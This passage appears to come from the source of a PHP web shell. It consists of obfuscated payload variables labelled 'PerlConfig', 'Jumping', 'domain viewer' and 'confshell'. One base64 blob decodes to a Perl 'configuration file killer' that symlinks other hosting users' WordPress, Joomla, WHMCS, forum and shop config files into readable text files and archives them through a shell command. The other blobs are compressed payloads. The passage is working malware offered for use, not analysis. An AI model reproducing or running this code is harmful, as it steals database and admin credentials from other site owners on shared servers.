547$mal = "eNqV0UtrAjEQAOC70P8wYHsRyRa8FYpQSR9QXAmCBxHJrkMSjDNhk/pA/O+uFuyx5javj4GZLrzJj68xzLhZTRqM8aGjcNe4hJKMI4SSbpUyJMcUwZHFNr/VR0wreDp+TqeTpZLvUkl1AtHTcS1q3ojeI8zHo36pFv8Jw2w8ZoBNpMuK+0HlyOQJ77aYJzT7TOCT3rqYdB7Dfd0280xE3dRWHLRl/lV/RP14bEfAphReisJ4rrQPvGt/TcboZK8BXy9eOBLBhiG9Dp5hrvrfizOeH7rw";
548//PerlConfig
549$gantengers="IyEvdXNyL2Jpbi9tYW5udSAtSS91c3IvbG9jYWwvYmFuZG1pbg0KcHJpbnQgIkNvbnRlbnQtdHlwZTogdGV4dC9odG1sXG5cbiI7DQpwcmludCc8IURPQ1RZUEUgaHRtbCBQVUJMSUMgIi0vL1czQy8vRFREIFhIVE1MIDEuMCBUcmFuc2l0aW9uYWwvL0VOIiAiaHR0cDovL3d3dy53My5vcmcvVFIveGh0bWwxL0RURC94aHRtbDEtdHJhbnNpdGlvbmFsLmR0ZCI+DQo8aHRtbCB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94aHRtbCI+DQo8aGVhZD4NCjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtTGFuZ3VhZ2UiIGNvbnRlbnQ9ImVuLXVzIiAvPg0KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTgiIC8+DQo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPg0KLmR6IHsNCmZvbnQtZmFtaWx5OiBUYWhvbWE7DQpmb250LXNpemU6IDE0cHg7DQpmb250LXdlaWdodDogYm9sZDsNCmNvbG9yOiAjMzMzM2ZmOw0KdGV4dC1hbGlnbjogY2VudGVyOw0KdGV4dC1zaGFkb3c6IGJsYWNrIDBweCAwcHggMnB4Ow0KfQ0KI2NoZWNrb3V0dGV4dGFyZWEgew0KDQp3ZWJraXQtYm9yZGVyLXJhZGl1czogMTVweDsNCg0KfQ0KOmhvdmVyI2NoZWNrb3V0dGV4dGFyZWEge29wYWNpdHk6IDAuNjsgYmFja2dyb3VuZC1jb2xvcjozMzMzMzN9DQo8L3N0eWxlPg0KPC9oZWFkPg0KJzsNCnN1YiBsaWx7DQooJHVzZXIpID0gQF87DQokbXNyID0gcXh7cHdkfTsNCiRrb2xhPSRtc3IuIi8iLiR1c2VyOw0KJGtvbGE9fnMvXG4vL2c7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJGtvbGEuJy1zaG9wLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL29zL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAnLCRrb2xhLictc2hvcC1vcy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9vc2NvbS9pbmNsdWRlcy9jb25maWd1cmUucGhwJywka29sYS4nLW9zY29tLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL29zY29tbWVyY2UvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJGtvbGEuJy1vc2NvbW1lcmNlLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL29zY29tbWVyY2VzL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAnLCRrb2xhLictb3Njb21tZXJjZXMudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc2hvcC9pbmNsdWRlcy9jb25maWd1cmUucGhwJywka29sYS4nLXNob3AyLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3Nob3BwaW5nL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAnLCRrb2xhLictc2hvcC1zaG9wcGluZy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zYWxlL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAnLCRrb2xhLictc2FsZS50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9hbWVtYmVyL2NvbmZpZy5pbmMucGhwJywka29sYS4nLWFtZW1iZXIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY29uZmlnLmluYy5waHAnLCRrb2xhLictYW1lbWJlcjIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbWVtYmVycy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1tZW1iZXJzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZy5waHAnLCRrb2xhLictMi50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bS9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nLWZvcnVtLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2ZvcnVtcy9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nLWZvcnVtcy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9hZG1pbi9jb25mLnBocCcsJGtvbGEuJy01LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2FkbWluL2NvbmZpZy5waHAnLCRrb2xhLictNC50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93cC1jb25maWcucGhwJywka29sYS4nLXdwMTMudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvd3Avd3AtY29uZmlnLnBocCcsJGtvbGEuJy13cDEzLXdwLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL1dQL3dwLWNvbmZpZy5waHAnLCRrb2xhLictd3AxMy1XUC50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93cC9iZXRhL3dwLWNvbmZpZy5waHAnLCRrb2xhLictd3AxMy13cC1iZXRhLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2JldGEvd3AtY29uZmlnLnBocCcsJGtvbGEuJy13cDEzLWJldGEudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvcHJlc3Mvd3AtY29uZmlnLnBocCcsJGtvbGEuJy13cDEzLXByZXNzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dvcmRwcmVzcy93cC1jb25maWcucGhwJywka29sYS4nLXdwMTMtd29yZHByZXNzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL1dvcmRwcmVzcy93cC1jb25maWcucGhwJywka29sYS4nLXdwMTMtV29yZHByZXNzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dvcmRwcmVzcy9iZXRhL3dwLWNvbmZpZy5waHAnLCRrb2xhLictd3AxMy13b3JkcHJlc3MtYmV0YS50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9uZXdzL3dwLWNvbmZpZy5waHAnLCRrb2xhLictd3AxMy1uZXdzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL25ldy93cC1jb25maWcucGhwJywka29sYS4nLXdwMTMtbmV3LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2Jsb2cvd3AtY29uZmlnLnBocCcsJGtvbGEuJy13cC1ibG9nLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2JldGEvd3AtY29uZmlnLnBocCcsJGtvbGEuJy13cC1iZXRhLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2Jsb2dzL3dwLWNvbmZpZy5waHAnLCRrb2xhLictd3AtYmxvZ3MudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvaG9tZS93cC1jb25maWcucGhwJywka29sYS4nLXdwLWhvbWUudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvcHJvdGFsL3dwLWNvbmZpZy5waHAnLCRrb2xhLictd3AtcHJvdGFsLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3NpdGUvd3AtY29uZmlnLnBocCcsJGtvbGEuJy13cC1zaXRlLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL21haW4vd3AtY29uZmlnLnBocCcsJGtvbGEuJy13cC1tYWluLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3Rlc3Qvd3AtY29uZmlnLnBocCcsJGtvbGEuJy13cC10ZXN0LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZfZ2xvYmFsLnBocCcsJGtvbGEuJy02LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGUvZGIucGhwJywka29sYS4nLTcudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY29ubmVjdC5waHAnLCRrb2xhLictOC50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ta19jb25mLnBocCcsJGtvbGEuJy05LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGUvY29uZmlnLnBocCcsJGtvbGEuJy0xMi50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9qb29tbGEvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictam9vbWxhMi50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9wcm90YWwvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictam9vbWxhLXByb3RhbC50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9qb28vY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictam9vLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2Ntcy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1qb29tbGEtY21zLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3NpdGUvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictam9vbWxhLXNpdGUudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbWFpbi9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1qb29tbGEtbWFpbi50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9uZXdzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWpvb21sYS1uZXdzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL25ldy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1qb29tbGEtbmV3LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2hvbWUvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictam9vbWxhLWhvbWUudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvdmIvaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJy12Yi50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC92YjMvaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJy12YjMudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJy1pbmNsdWRlcy12Yi50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG0vY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictd2htMTUudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2VudHJhbC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy13aG0tY2VudHJhbC50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG0vd2htY3MvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictd2htLXdobWNzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobS9XSE1DUy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy13aG0tV0hNQ1MudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvd2htYy9XSE0vY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictd2htYy1XSE0udHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvd2htY3MvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictd2htY3MudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc3VwcG9ydC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1zdXBwb3J0LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3N1cHAvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictc3VwcC50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zZWN1cmUvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictc3VjdXJlLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3NlY3VyZS93aG0vY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictc3VjdXJlLXdobS50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zZWN1cmUvd2htY3MvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictc3VjdXJlLXdobWNzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NwYW5lbC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1jcGFuZWwudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvcGFuZWwvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictcGFuZWwudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvaG9zdC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1ob3N0LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2hvc3RpbmcvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictaG9zdGluZy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ob3N0cy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1ob3N0cy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1qb29tbGEudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc3VibWl0dGlja2V0LnBocCcsJGtvbGEuJy13aG1jczIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50cy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1jbGllbnRzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NsaWVudC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1jbGllbnQudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50ZXMvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictY2xpZW50ZXMudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50ZS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1jbGllbnQudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50c3VwcG9ydC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1jbGllbnRzdXBwb3J0LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2JpbGxpbmcvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictYmlsbGluZy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9tYW5hZ2UvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictd2htLW1hbmFnZS50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9teS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy13aG0tbXkudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbXlzaG9wL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLXdobS1teXNob3AudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZXMvZGlzdC1jb25maWd1cmUucGhwJywka29sYS4nLXplbmNhcnQudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvemVuY2FydC9pbmNsdWRlcy9kaXN0LWNvbmZpZ3VyZS5waHAnLCRrb2xhLictc2hvcC16ZW5jYXJ0LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3Nob3AvaW5jbHVkZXMvZGlzdC1jb25maWd1cmUucGhwJywka29sYS4nLXNob3AtWkNzaG9wLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL1NldHRpbmdzLnBocCcsJGtvbGEuJy1zbWYudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc21mL1NldHRpbmdzLnBocCcsJGtvbGEuJy1zbWYyLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2ZvcnVtL1NldHRpbmdzLnBocCcsJGtvbGEuJy1zbWYtZm9ydW0udHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW1zL1NldHRpbmdzLnBocCcsJGtvbGEuJy1zbWYtZm9ydW1zLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3VwbG9hZC9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nLXVwLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3VwL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLictdXAyLnR4dCcpOw0KfQ0KaWYgKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgJ1BPU1QnKSB7DQpyZWFkKFNURElOLCAkYnVmZmVyLCAkRU5WeydDT05URU5UX0xFTkdUSCd9KTsNCn0gZWxzZSB7DQokYnVmZmVyID0gJEVOVnsnUVVFUllfU1RSSU5HJ307DQp9DQpAcGFpcnMgPSBzcGxpdCgvJi8sICRidWZmZXIpOw0KZm9yZWFjaCAkcGFpciAoQHBhaXJzKSB7DQooJG5hbWUsICR2YWx1ZSkgPSBzcGxpdCgvPS8sICRwYWlyKTsNCiRuYW1lID1+IHRyLysvIC87DQokbmFtZSA9fiBzLyUoW2EtZkEtRjAtOV1bYS1mQS1GMC05XSkvcGFjaygiQyIsIGhleCgkMSkpL2VnOw0KJHZhbHVlID1+IHRyLysvIC87DQokdmFsdWUgPX4gcy8lKFthLWZBLUYwLTldW2EtZkEtRjAtOV0pL3BhY2soIkMiLCBoZXgoJDEpKS9lZzsNCiRGT1JNeyRuYW1lfSA9ICR2YWx1ZTsNCn0NCmlmICgkRk9STXtwYXNzfSBlcSAiIil7DQpwcmludCAnDQo8Ym9keSBjbGFzcz0iZHoiIGJnY29sb3I9ImJsYWNrIj4NCjxwPjxmb250IGNvbG9yPXdoaXRlPmNvbmZpZ3VyYXRpb24gZmlsZSBraWxsZXI8L3A+DQoNCjxzcGFuPjxmb250IGNvbG9yPSJ3aGl0ZSI+c3VwcGx5IHVzZXJuYW1lcyB0byBzeW1saW5rIGNvbmZpZ3VyYXRpb24gZmlsZXM8L2ZvbnQ+PC9zcGFuPjxiciAvPg0KPGJyIC8+PGZvcm0gbWV0aG9kPSJwb3N0Ij48c3Ryb25nPg0KPHRleHRhcmVhIGlkPSJjaGVja291dHRleHRhcmVhIiBuYW1lPSJwYXNzIiBzdHlsZT0iYm9yZGVyOjJweCBkYXNoZWQgcmVkOyB3aWR0aDogMzAwcHg7IGhlaWdodDogMjAwcHg7IGJhY2tncm91bmQtY29sb3I6YmxhY2s7IGZvbnQtZmFtaWx5OlRhaG9tYTsgZm9udC1zaXplOjlwdDsgY29sb3I6IHJlZCIgPjwvdGV4dGFyZWE+PGJyIC8+DQombmJzcDsNCjxwPg0KPGlucHV0IG5hbWU9IlN1Ym1pdDEiIHR5cGU9InN1Ym1pdCIgdmFsdWU9InNwaW4gaXQgOC0pIiBzdHlsZT0iYm9yZGVyOjFweCBkb3R0ZWQgIzAwRkZGRjsgd2lkdGg6IDk5OyBmb250LWZhbWlseTpUYWhvbWE7IGZvbnQtc2l6ZToxMHB0OyBjb2xvcjogYmxhY2s7IHRleHQtdHJhbnNmb3JtOnVwcGVyY2FzZTsgaGVpZ2h0OjIzOyBiYWNrZ3JvdW5kLWNvbG9yOiNGNEY0RjQ7IiAvPjwvcD4NCjwvZm9ybT48L3N0cm9uZz4NCic7DQp9ZWxzZXsNCkBsaW5lcyA9PCRGT1JNe3Bhc3N9PjsNCiR5ID0gQGxpbmVzOw0Kb3BlbiAoTVlGSUxFLCAiPnRhci50bXAiKTsNCnByaW50IE1ZRklMRSAidGFyIC1jemYgIi4kRk9STXt0YXJ9LiIudGFyICI7DQpmb3IgKCRrYT0wOyRrYTwkeTska2ErKyl7DQp3aGlsZShAbGluZXNbJGthXSA9fiBtLyguKj8pOng6L2cpew0KJmxpbCgkMSk7DQpwcmludCBNWUZJTEUgJDEuIi50eHQgIjsNCmZvcigka2Q9MTska2Q8MTg7JGtkKyspew0KcHJpbnQgTVlGSUxFICQxLiRrZC4iLnR4dCAiOw0KfQ0KfQ0KfQ0KcHJpbnQnPGJvZHkgY2xhc3M9ImR6IiBiZ2NvbG9yPSJibGFjayI+DQo8aDI+ZG9uZSA8L2gyPg0KPHA+Jm5ic3A7PC9wPic7DQppZigkRk9STXt0YXJ9IG5lICIiKXsNCm9wZW4oSU5GTywgInRhci50bXAiKTsNCkBsaW5lcyA9PElORk8+IDsNCmNsb3NlKElORk8pOw0Kc3lzdGVtKEBsaW5lcyk7DQpwcmludCc8cD48YSBocmVmPSInLiRGT1JNe3Rhcn0uJy50YXIiPjxmb250IGNvbG9yPSIjMDBGRjAwIj4NCjxzcGFuIHN0eWxlPSJ0ZXh0LWRlY29yYXRpb246IG5vbmUiPjwvc3Bhbj48L2ZvbnQ+PC9hPjwvcD4nOw0KfQ0KfQ0KcHJpbnQiDQo8L2JvZHk+DQo8L2h0bWw+";
550//Jumping
551$jumper="zVPdbtMwFL6ftHc4tSLZ0dKmwF2bpEgILkFar2CbghPbxCiJI9thK9MeiLfkOFnLygXXKErkfj/n15V1Y4BknlethLrlzuW3pO5EZR5uSZF5i6+A2rRu4D1SrxElW7i8YJHrIAfd6/Kb9Iw6rmTZGSFpDHkO6xh2qJpF1ChFNyC0ZOS9tcZuYH+UI/2pz1IvCvzY8AmlFJcXmdA/ThXpXhnMvB8t7/bNm7bNUqQL+Ev2nR84yuCL6Sotl9fGePgFZCW4l4x+ponXnWRxvCIIRg8feSfxuF3GMMcjcWjNSV8GYdnqTnu2RvBtNGCGe4HVKjPIntFU+jqdQZpQSyenVsAWz9IYHkPHwMjN8g6mtmED78wo+q8eriUX8CLG/zSBp7C4YaywWW4tPzDEotFJ686Q2vTqDND4a72F+0a3ki2UNIodZxE/TpfB2zBAvC/uxGwhDA29Bbxar1EXDSbkQS0eWPAkdDOPdyqix5IDP1ZIzfw6CaZQgtD2Z7hwaWM6mdLVybGiKXbU6rpsfNem9Lgt9ifmAn00VBpw7UqLKwqbYFPUQEytlsPomtnmkpMbk79kMVcy28I4wxPpq6twVgbj1g08RwDu5tlOE5Lh30hvPpixF7C4g4xDY6XKye6Qn7V03g4p/kGmWcqLrLIFnTe7K34D";
552//domain viewer
553$private="y8kvS1WozC9VCE7MKc5IVLDSAgA=";
554$zonekerupuk="rVVtb9s2EP5uwP/hqgWRDTiWnWRrIcvChjUFhmZJYbtfNhcGLZ8sIhQpUFRtt8h/31EvsfPidgVKwBB5R94999xDGqNEOe1WkJudwLDdMrg1TCODr+2Wxpx/QV8qiaN2K1JCaR9+GZQDyLJk0d1aq0Kuzipn7RsBtFuxkuasPP8mMyOoN8TlsGeVXqH2h9kWciX4CjYJNwgPnjOBsfHh8rl/w1cm8X+9vMi2tEqQrxPjXw4G5fK+3eIyK4yF/xjwT8F7HNXxeghS4DX0BhFKgzoMYqVTSNEkajWeOx9up7O5Q/6/udZKg287ggIjA+XJsfukmKOlfLOMbxdxrITaXhutu3S4IFmKBD4tMZfwA5UZrmT4hSRzlgRevSwZKMsJg6Wm5Y0yPEYNNxTBh6BqmdllNpxV4NyBTLAIEyUoNRnfoy6y4o7sddIVxuSnrGCLJcPFOSGoor9VKeMyB98ugwdFV0zOnUpA8NvrNyQZqAUEF4NzWh4kqILYoF4Too7/GG9eLFNuEX9morCGKcrVPs5aVcx4tuN2YjHRzyFpkOxyNAvDU1wITlGgM+iSncfQeRUXMrLsLXDLc5NDx4kKLRZccuN0u19XHMk0S3gO00jzzECRYw7Rx8k1XPOlZnrXg50qIC1yA1SJYUJAzDWtXpUgGCQa47GbGJP5nseK836WZH2JxkuZLJjwUHo2Z59AFpl1uuEPbA48Fjrd0X1Zpy3p95OFFfq/7lq5n7rtFt1RqAeRgyxKoIPbTKiVLW0unR40J+pu0DFgOZxUy+7+/EGoZmSKKu3UWw8iVcJxP+1NlYAp9mgf5X4/RXoiwWn6RrSRFtZoxu5iKZi8cx/TWEm/H6nUYzpK+Gf0smIpeJ7gajxww3/qq8EeVFAR1LS7wU1UEsIaLc0qkI9ZOyHGxvAgC+gcVlCaqRl0BylclPTgT9LG7YfZYnI1+zi5mU3+uJm+u5r0YPj/jlmyms37/fmGG9u4PcAXehKxHMGpqHFGz3t1PCl9euDU3G42m/4Bv9K+Ijsv53It0On+UFxbzLu/rq7fTil8zfK4ofu0Es1wbLtwmtBbm5Imx8NTEmmu5Hj4YjIr8UzjepGykhHHK19fegM00oMQ3r4P5p59n0P6Ch56pO8SIG4xKuF1u93nYZ/IsL61Tt+x4OjTyJGmlSBpEgZ5xuST/461RpRuaI8BYfHslvBQiM8yihy/i+eFRFRunebKSqLJdCTLkki9O7DbHhTC+N/fef9EtZFQJLOSSHut/gM=";
555//confshell
